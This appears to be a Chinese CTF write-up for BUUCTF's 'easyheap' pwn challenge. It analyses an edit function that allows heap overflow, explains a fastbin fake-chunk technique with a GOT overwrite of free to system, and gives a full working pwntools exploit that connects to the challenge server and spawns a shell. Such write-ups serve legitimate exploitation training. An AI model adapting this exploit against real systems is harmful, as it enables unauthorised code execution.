逆向分析
--------------------------------
Easy Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit
--------------------------------
Your choice :
create 函數
heaparray[i] = malloc(size);
read_input(heaparray[i], size);
- heaparray[i]:存放 chunk 的地址。
- read_input(heaparray[i], size):向 chunk 寫入 size 大小的內容。
edit 函數
read_input(heaparray[v2], v0);
- read_input(heaparray[v2], v0):向 chunk 中寫入 v0 大小的內容,也就是說如果 v0 比 create 時的 size 大的話就會造成堆溢出。
delete 函數
free(heaparray[v1]);
heaparray[v1] = 0LL;
利用思路
- 創建3個 chunk ,chunk 0 1 2 ,chunk 1 的內容為 /bin/sh 。
- 我們可以用 house of spirit 技術,偽造 chunk 至 heaparray 附近,這樣操作在 malloc fastbin 時需要繞過大小判斷,我們可以巧妙地利用地址開頭 7f 來偽造大小為 0x70 的 fastbin 。
gdb-peda$ x /20xw 0x6020a0 - 3
0x60209d: 0x20000000 0x242d0af6 0x0000007f 0x00000000
0x6020ad: 0xe0000000 0x242d0ae8 0x0000007f 0x00000000
0x6020bd: 0x00000000 0x00000000 0x00000000 0x00000000
0x6020cd: 0x00000000 0x00000000 0x00000000 0x00000000
0x6020dd: 0x10000000 0x0000d7b0 0x80000000 0x0000d7b0
- 然后通過偽造的 fastbin 輸入內容覆蓋 chunk 0 的地址為 free_got 的地址。
- 通過編輯 chunk 0 將 free_got 地址改為 system 的地址。
- 這樣 free chunk 1 就會執行 system('/bin/sh') 拿 shell。
exp 腳本
from pwn import *
#p = process('./easyheap')
p = remote('node3.buuoj.cn',26672)
elf =ELF('./easyheap')
context.log_level = 'debug'
def create(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap:')
p.send(str(content))
def edit(index,size,content):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap : ')
p.send(str(content))
def free(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
free_got = elf.got['free']
create(0x68,'aaaa')
create(0x68,'bbbb')
create(0x68,'cccc')
free(2)
#gdb.attach(p)
payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)
create(0x68,'aaaa')
create(0x68,'c')
payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
payload = p64(elf.plt['system'])
#gdb.attach(p)
edit(0,len(payload),payload)
free(1)
#gdb.attach(p)
p.interactive()
get flag

內容來源
buuctf pwn | summerN's blog